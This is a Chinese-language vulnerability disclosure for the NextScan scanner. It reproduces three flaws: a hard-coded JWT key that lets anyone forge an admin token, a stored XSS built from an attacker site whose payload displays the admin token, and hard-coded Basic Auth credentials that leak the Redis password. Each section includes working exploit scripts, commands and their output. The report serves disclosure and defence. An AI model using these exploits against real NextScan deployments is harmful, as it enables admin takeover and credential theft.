NextScan 漏洞报告
软件名称:NextScan(飞刃)
开发者或厂商:同程旅行
代码仓库:https://github.com/tongcheng-security-team/NextScan
1. 管理端 JWT 密钥硬编码
| 简要描述: | 通过硬编码的 JWT 密钥,可伪造管理员令牌并调用管理端全部接口。 |
|---|---|
| 影响版本: | 1.1.0 ~ 1.2.0 |
| 前置条件: | 无 |
漏洞成因
管理端用 HS256 校验 X-Access-Token 请求头。签名密钥以字符串常量形式写在 ns-admin 二进制中,pkg/config 的配置结构里没有对应字段,conf.ini 也没有相关配置段,部署者无法通过配置文件或环境变量更换该密钥。
中间件验签通过后只从令牌中取出 id 与 roleIds,不检查用户是否存在,也不检查角色是否有效。相关逻辑位于 pkg/http/middleware 与 pkg/http/router.Auth。
因此,只要知道密钥,就可以构造一个 id 为任意值、roleIds 为系统超级管理员角色 ID 的令牌,并以管理员身份调用接口。
1.1.0、1.1.1、1.2.0 三个已发布镜像中的密钥相同,因此影响范围为 1.1.0 ~ 1.2.0。
复现环境搭建
实验环境用官方 compose 部署。官方 compose 中的 bitnami/etcd 与 minio/minio 镜像已无法拉取,这里换成 bitnamilegacy/etcd 与 bitnamilegacy/minio;createbuckets 依赖的 minio/mc 同样无法拉取,这里省略,不影响本文的复现。其余配置与官方一致:
services:
redis:
image: "redis:alpine"
command: --requirepass "3d7a6447328dcde6"
container_name: ns-redis
mongo:
image: "mongo:4.2.23"
command: [--auth]
environment:
MONGO_INITDB_ROOT_USERNAME: root
MONGO_INITDB_ROOT_PASSWORD: root
MONGO_DATABASE: NextScan
MONGO_USERNAME: NextScan
MONGO_PASSWORD: 56074e26d5a39aad
volumes:
- ./mongo/init:/docker-entrypoint-initdb.d
- ./mongo/data:/data/db
container_name: ns-mongo
etcd:
image: "bitnamilegacy/etcd:3.5.6"
environment:
- ETCD_ROOT_PASSWORD=0117be99f79bf9e2
container_name: ns-etcd
minio:
image: "bitnamilegacy/minio:2021.4.18"
volumes:
- ./minio/data:/data
environment:
MINIO_ACCESS_KEY: "vi75e"
MINIO_SECRET_KEY: "hFimqbrlBE"
command: server /data
container_name: ns-minio
web:
image: "lysec/ns-admin:latest"
ports:
- "80:80"
depends_on:
- redis
- mongo
- etcd
- minio
container_name: ns-admin
scan:
image: "lysec/ns-scan:latest"
depends_on:
- web
container_name: ns-scan
craw:
image: "lysec/ns-craw:latest"
depends_on:
- web
container_name: ns-craw
mongo/init 取自官方仓库。启动后访问 http://127.0.0.1。
复现过程
从镜像中取出密钥:
$ docker run --rm --entrypoint sh lysec/ns-admin:v1.2.0 -c 'strings /next-scan/ns-admin | grep nscan_admin_api_jwt_secret_key'
nscan_admin_api_jwt_secret_key
用该密钥签发令牌并读取用户列表:
import httpx
import jwt
BASE = "http://127.0.0.1"
token = jwt.encode(
{
"exp": 1794062983,
"id": "5db002504da8ad2e24d0052d",
"orig_iat": 1793976583,
"roleIds": "5e36ddf74da8ad2e24fb5f51",
},
"nscan_admin_api_jwt_secret_key",
algorithm="HS256",
)
print(token)
headers = {"X-Access-Token": "ns-admin " + token}
print(httpx.get(BASE + "/v1/sys/user/list", headers=headers).text)
输出如下:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQwNjI5ODMsImlkIjoiNWRiMDAyNTA0ZGE4YWQyZTI0ZDAwNTJkIiwib3JpZ19pYXQiOjE3OTM5NzY1ODMsInJvbGVJZHMiOiI1ZTM2ZGRmNzRkYThhZDJlMjRmYjVmNTEifQ.AhcTJZnJXrSx7ZTEN7bOx4rer7o1_R-i0fLDZJD2x1Y
{"code":200,"message":"OK","result":[{"id":"5db002504da8ad2e24d0052d","username":"admin","realname":"管理员","workNo":"00001","avatar":"","sex":1,"phone":"18888888888","desc":"系统默认账户","createBy":"","updateBy":"","status":1,"email":"nextscan@163.com","source":"","updateTime":"2023-02-14T08:21:15.22Z","createTime":"2021-05-18T07:33:51.228Z"}],"success":true,"timestamp":1793976583830,"total":1}
在浏览器控制台写入令牌,然后打开首页:
localStorage.setItem('pro__Access-Token', JSON.stringify({value: 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQwNjI5ODMsImlkIjoiNWRiMDAyNTA0ZGE4YWQyZTI0ZDAwNTJkIiwib3JpZ19pYXQiOjE3OTM5NzY1ODMsInJvbGVJZHMiOiI1ZTM2ZGRmNzRkYThhZDJlMjRmYjVmNTEifQ.AhcTJZnJXrSx7ZTEN7bOx4rer7o1_R-i0fLDZJD2x1Y', expire: null}));

进入用户管理可以看到管理员账号:

2. 资产详情存储型 XSS
| 简要描述: | 扫描器爬取攻击者控制的站点后,会把表单请求体写入资产库,用户打开资产详情时脚本被执行,攻击者借此接管受害者账号。 |
|---|---|
| 影响版本: | 1.1.0 ~ 1.2.0 |
| 前置条件: | 扫描任务的目标包含攻击者控制的站点 |
漏洞成因
爬虫在抓取页面时会提交页面中的表单,并把请求体原样写入 Asset_URL.data。管理端的 URL 资产详情弹窗用 domProps.innerHTML 渲染该字段,未做转义。相关代码如下:
// web/js/chunk-7371b739.7ed9f6ed.js
domProps:{innerHTML:e._s(e.form.data)}
同一弹窗还用 json-viewer 展示请求头,该组件把以 http:// 开头的字符串拼进 innerHTML,因此请求头的值同样可以注入脚本。相关代码如下:
// web/js/chunk-e9af1076.1c09d728.js
domProps=n?{innerHTML:'"'+(t='<a href="'+t+'" target="_blank" class="jv-link">'+t+"</a>").toString()+'"'}
1.1.0、1.1.1、1.2.0 三个已发布镜像的前端产物中,上述两处渲染逻辑相同。
复现环境搭建
管理端按第 1 节部署。另需一台扫描节点可以访问的主机运行攻击者站点,下文以 172.28.0.1 表示该主机地址,实际环境中替换为对应地址:
from fastapi import FastAPI
from fastapi.responses import HTMLResponse, PlainTextResponse
app = FastAPI()
@app.get('/xss-form', response_class=HTMLResponse)
def xss_form():
return '''<html><body>
<form action="/submit" method="POST">
<input name="x" value="<img/src='http://172.28.0.1:18899/slow?ms=8000'onerror="document.body.innerText=localStorage.getItem('pro__Access-Token')">">
<input type="submit" value="send">
</form>
</body></html>'''
@app.post('/submit', response_class=HTMLResponse)
def submit():
return '<html><body>ok</body></html>'
@app.get('/slow')
async def slow(ms: int = 5000):
import asyncio
await asyncio.sleep(ms / 1000)
return PlainTextResponse('slow')
启动:
$ uvicorn attacker:app --host 0.0.0.0 --port 18899
复现过程
在管理端新建项目,目标填 http://172.28.0.1:18899/xss-form,开启爬虫,运行任务。爬虫提交表单后,请求体被写入资产库:
{"_id":{"$oid":"6aedf916844f93e35bb80381"},"url":"http://172.28.0.1:18899/submit","data":"x=<img/src='http://172.28.0.1:18899/slow?ms=8000'onerror=\"document.body.innerText=localStorage.getItem('pro__Access-Token')\">"}
爬虫会把请求体中的空格编码为 +,因此 payload 中不使用空格。
管理员打开 资产管理 的 url资产 页面,点击该条记录的 详情。弹窗把请求体当作 HTML 渲染,img 标签开始加载 slow 接口:

八秒后图片加载失败,onerror 执行,页面显示 localStorage 中的管理员令牌:

3. Agent 接口 Basic Auth 凭据硬编码
| 简要描述: | Agent 接口使用硬编码的 Basic Auth 凭据,攻击者可直接读取节点配置,其中包含 Redis 口令。 |
|---|---|
| 影响版本: | 1.1.0 ~ 1.2.0 |
| 前置条件: | 无 |
漏洞成因
pkg/http/router.AuthAgent 用常量 nextagent 同时作为用户名和密码构造 gin.Accounts,pkg/http/router.AuthExternal 用常量 nEXtSCAnExTERNal 构造同样的账号。两处都没有配置项,部署者无法更换。
复现环境搭建
同第 1 节。
复现过程
请求节点配置:
$ curl -s -u nextagent:nextagent 'http://127.0.0.1/agent/config?group=2'
输出如下:
{
"code": 200,
"message": "OK",
"result": {
"Redis": {
"Addr": "ns-redis:6379",
"PoolSize": 10,
"MinIdleConns": 3,
"Password": "3d7a6447328dcde6"
},
"Etcd": {
"endpoints": [
"ns-etcd:2379"
],
"auto-sync-interval": 0,
"dial-timeout": 5000000000,
"dial-keep-alive-time": 0,
"dial-keep-alive-timeout": 0,
"MaxCallSendMsgSize": 0,
"MaxCallRecvMsgSize": 0,
"TLS": null,
"username": "",
"password": "",
"reject-old-cluster": false,
"DialOptions": null,
"Context": null,
"Logger": null,
"LogConfig": null,
"permit-without-stream": false
},
"cookiePath": "/ns/cookie/global/",
"ServerToken": "nextagent",
"heartbeat": "@every 1m",
"agentLeaseTTL": 70,
"agentInfoPrefix": "/ns/agent/info/",
"pluginPrefix": "/ns/plugin/",
"payloadPrefix": "/ns/payload/",
"scanConfigPrefix": "/ns/agent/config/",
"weakPassCnt": 10
}
}